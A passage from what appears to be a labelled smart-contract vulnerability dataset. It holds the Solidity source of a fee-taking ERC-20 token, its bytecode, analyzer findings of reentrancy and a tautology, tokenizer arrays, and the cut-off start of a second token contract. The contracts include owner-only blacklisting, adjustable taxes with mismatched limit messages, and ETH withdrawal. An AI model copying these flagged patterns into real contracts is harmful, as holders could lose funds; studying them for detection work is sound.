block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 2%"); require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 14, "Buy tax must be between 0% and 14%"); require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 2%"); require(taxFeeOnSell >= 0 && taxFeeOnSell <= 14, "Sell tax must be between 0% and 14%"); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { if (maxTxAmount > 5000000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610528578063dd62ed3e14610548578063ea1644d51461058e578063f2fde38b146105ae57600080fd5b8063a2a957bb146104a3578063a9059cbb146104c3578063bfd79284146104e3578063c3c8cd801461051357600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b41146101fe57806398a5c3151461048357600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027257806318160ddd146102aa57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024257600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611aad565b6105ce565b005b34801561020a57600080fd5b50604080518082018252600c81526b4865726f496e66696e69747960a01b602082015290516102399190611b72565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611bc7565b61066d565b6040519015158152602001610239565b34801561027e57600080fd5b50601454610292906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102b657600080fd5b50683635c9adc5dea000005b604051908152602001610239565b3480156102dc57600080fd5b506102626102eb366004611bf3565b610684565b3480156102fc57600080fd5b506102c260185481565b34801561031257600080fd5b5060405160098152602001610239565b34801561032e57600080fd5b50601554610292906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611c34565b6106ed565b34801561036e57600080fd5b506101fc61037d366004611c61565b610738565b34801561038e57600080fd5b506101fc610780565b3480156103a357600080fd5b506102c26103b2366004611c34565b6107cb565b3480156103c357600080fd5b506101fc6107ed565b3480156103d857600080fd5b506101fc6103e7366004611c7c565b610861565b3480156103f857600080fd5b506102c260165481565b34801561040e57600080fd5b506102c261041d366004611c34565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610292565b34801561045957600080fd5b506101fc610468366004611c61565b6108a0565b34801561047957600080fd5b506102c260175481565b34801561048f57600080fd5b506101fc61049e366004611c7c565b6108e8565b3480156104af57600080fd5b506101fc6104be366004611c95565b610917565b3480156104cf57600080fd5b506102626104de366004611bc7565b610acd565b3480156104ef57600080fd5b506102626104fe366004611c34565b60106020526000908152604090205460ff1681565b34801561051f57600080fd5b506101fc610ada565b34801561053457600080fd5b506101fc610543366004611cc7565b610b2e565b34801561055457600080fd5b506102c2610563366004611d4b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059a57600080fd5b506101fc6105a9366004611c7c565b610bcf565b3480156105ba57600080fd5b506101fc6105c9366004611c34565b610bfe565b6000546001600160a01b031633146106015760405162461bcd60e51b81526004016105f890611d84565b60405180910390fd5b60005b81518110156106695760016010600084848151811061062557610625611db9565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066181611de5565b915050610604565b5050565b600061067a338484610ce8565b5060015b92915050565b6000610691848484610e0c565b6106e384336106de85604051806060016040528060288152602001611eff602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611348565b610ce8565b5060019392505050565b6000546001600160a01b031633146107175760405162461bcd60e51b81526004016105f890611d84565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107625760405162461bcd60e51b81526004016105f890611d84565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b557506013546001600160a01b0316336001600160a01b0316145b6107be57600080fd5b476107c881611382565b50565b6001600160a01b03811660009081526002602052604081205461067e906113bc565b6000546001600160a01b031633146108175760405162461bcd60e51b81526004016105f890611d84565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461088b5760405162461bcd60e51b81526004016105f890611d84565b674563918244f400008111156107c857601655565b6000546001600160a01b031633146108ca5760405162461bcd60e51b81526004016105f890611d84565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109125760405162461bcd60e51b81526004016105f890611d84565b601855565b6000546001600160a01b031633146109415760405162461bcd60e51b81526004016105f890611d84565b60048411156109a05760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420322560d81b60648201526084016105f8565b600e8211156109fc5760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642031604482015261342560f01b60648201526084016105f8565b6004831115610a5c5760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420322560d01b60648201526084016105f8565b600e811115610ab95760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526231342560e81b60648201526084016105f8565b600893909355600a91909155600955600b55565b600061067a338484610e0c565b6012546001600160a01b0316336001600160a01b03161480610b0f57506013546001600160a01b0316336001600160a01b0316145b610b1857600080fd5b6000610b23306107cb565b90506107c881611440565b6000546001600160a01b03163314610b585760405162461bcd60e51b81526004016105f890611d84565b60005b82811015610bc9578160056000868685818110610b7a57610b7a611db9565b9050602002016020810190610b8f9190611c34565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bc181611de5565b915050610b5b565b50505050565b6000546001600160a01b03163314610bf95760405162461bcd60e51b81526004016105f890611d84565b601755565b6000546001600160a01b03163314610c285760405162461bcd60e51b81526004016105f890611d84565b6001600160a01b038116610c8d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f8565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d4a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f8565b6001600160a01b038216610dab5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f8565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e705760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f8565b6001600160a01b038216610ed25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f8565b60008111610f345760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f8565b6000546001600160a01b03848116911614801590610f6057506000546001600160a01b03838116911614155b1561124157601554600160a01b900460ff16610ff9576000546001600160a01b03848116911614610ff95760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f8565b60165481111561104b5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f8565b6001600160a01b03831660009081526010602052604090205460ff1615801561108d57506001600160a01b03821660009081526010602052604090205460ff16155b6110e55760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f8565b6015546001600160a01b0383811691161461116a5760175481611107846107cb565b6111119190611e00565b1061116a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f8565b6000611175306107cb565b60185460165491925082101590821061118e5760165491505b8080156111a55750601554600160a81b900460ff16155b80156111bf57506015546001600160a01b03868116911614155b80156111d45750601554600160b01b900460ff165b80156111f957506001600160a01b03851660009081526005602052604090205460ff16155b801561121e57506001600160a01b03841660009081526005602052604090205460ff16155b1561123e5761122c82611440565b47801561123c5761123c47611382565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061128357506001600160a01b03831660009081526005602052604090205460ff165b806112b557506015546001600160a01b038581169116148015906112b557506015546001600160a01b03848116911614155b156112c25750600061133c565b6015546001600160a01b0385811691161480156112ed57506014546001600160a01b03848116911614155b156112ff57600854600c55600954600d555b6015546001600160a01b03848116911614801561132a57506014546001600160a01b03858116911614155b1561133c57600a54600c55600b54600d555b610bc9848484846115ba565b6000818484111561136c5760405162461bcd60e51b81526004016105f89190611b72565b5060006113798486611e18565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610669573d6000803e3d6000fd5b60006006548211156114235760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f8565b600061142d6115e8565b9050611439838261160b565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061148857611488611db9565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114e1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115059190611e2f565b8160018151811061151857611518611db9565b6001600160a01b03928316602091820292909201015260145461153e9130911684610ce8565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611577908590600090869030904290600401611e4c565b600060405180830381600087803b15801561159157600080fd5b505af11580156115a5573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806115c7576115c761164d565b6115d284848461167b565b80610bc957610bc9600e54600c55600f54600d55565b60008060006115f5611772565b9092509050611604828261160b565b9250505090565b600061143983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117b4565b600c5415801561165d5750600d54155b1561166457565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061168d876117e2565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116bf908761183f565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116ee9086611881565b6001600160a01b038916600090815260026020526040902055611710816118e0565b61171a848361192a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161175f91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061178e828261160b565b8210156117ab57505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836117d55760405162461bcd60e51b81526004016105f89190611b72565b5060006113798486611ebd565b60008060008060008060008060006117ff8a600c54600d5461194e565b925092509250600061180f6115e8565b905060008060006118228e8787876119a3565b919e509c509a509598509396509194505050505091939550919395565b600061143983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611348565b60008061188e8385611e00565b9050838110156114395760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f8565b60006118ea6115e8565b905060006118f883836119f3565b306000908152600260205260409020549091506119159082611881565b30600090815260026020526040902055505050565b600654611937908361183f565b6006556007546119479082611881565b6007555050565b6000808080611968606461196289896119f3565b9061160b565b9050600061197b60646119628a896119f3565b905060006119938261198d8b8661183f565b9061183f565b9992985090965090945050505050565b60008080806119b288866119f3565b905060006119c088876119f3565b905060006119ce88886119f3565b905060006119e08261198d868661183f565b939b939a50919850919650505050505050565b600082611a025750600061067e565b6000611a0e8385611edf565b905082611a1b8583611ebd565b146114395760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f8565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c857600080fd5b8035611aa881611a88565b919050565b60006020808385031215611ac057600080fd5b823567ffffffffffffffff80821115611ad857600080fd5b818501915085601f830112611aec57600080fd5b813581811115611afe57611afe611a72565b8060051b604051601f19603f83011681018181108582111715611b2357611b23611a72565b604052918252848201925083810185019188831115611b4157600080fd5b938501935b82851015611b6657611b5785611a9d565b84529385019392850192611b46565b98975050505050505050565b600060208083528351808285015260005b81811015611b9f57858101830151858201604001528201611b83565b81811115611bb1576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611bda57600080fd5b8235611be581611a88565b946020939093013593505050565b600080600060608486031215611c0857600080fd5b8335611c1381611a88565b92506020840135611c2381611a88565b929592945050506040919091013590565b600060208284031215611c4657600080fd5b813561143981611a88565b80358015158114611aa857600080fd5b600060208284031215611c7357600080fd5b61143982611c51565b600060208284031215611c8e57600080fd5b5035919050565b60008060008060808587031215611cab57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611cdc57600080fd5b833567ffffffffffffffff80821115611cf457600080fd5b818601915086601f830112611d0857600080fd5b813581811115611d1757600080fd5b8760208260051b8501011115611d2c57600080fd5b602092830195509350611d429186019050611c51565b90509250925092565b60008060408385031215611d5e57600080fd5b8235611d6981611a88565b91506020830135611d7981611a88565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611df957611df9611dcf565b5060010190565b60008219821115611e1357611e13611dcf565b500190565b600082821015611e2a57611e2a611dcf565b500390565b600060208284031215611e4157600080fd5b815161143981611a88565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e9c5784516001600160a01b031683529383019391830191600101611e77565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611eda57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ef957611ef9611dcf565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220183d6e9e4d7a73f7c125725f42588f318c39260de4c2b8db596d3987fdfd063f64736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'tautology', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 23352, 2098, 2497, 2692, 8586, 17465, 2683, 2497, 22203, 2581, 2620, 2683, 2546, 2620, 2063, 20958, 2629, 11057, 2575, 2546, 18613, 2581, 2549, 2050, 2692, 11057, 25746, 2487, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 6185, 1011, 2340, 1008, 1013, 1013, 1008, 19690, 16294, 3012, 1999, 2226, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 19690, 16294, 3012, 11031, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1023, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,793
0x975f037c2f0e1f183d0e6529dcc3270072e10f00
/** * * * THE FEDERALIST * https://t.me/THEFEDERALISTERC * * */ pragma solidity ^0.8.9; // SPDX-License-Identifier: Unlicensed interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { //function _msgSender() internal view virtual returns (address payable) { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { 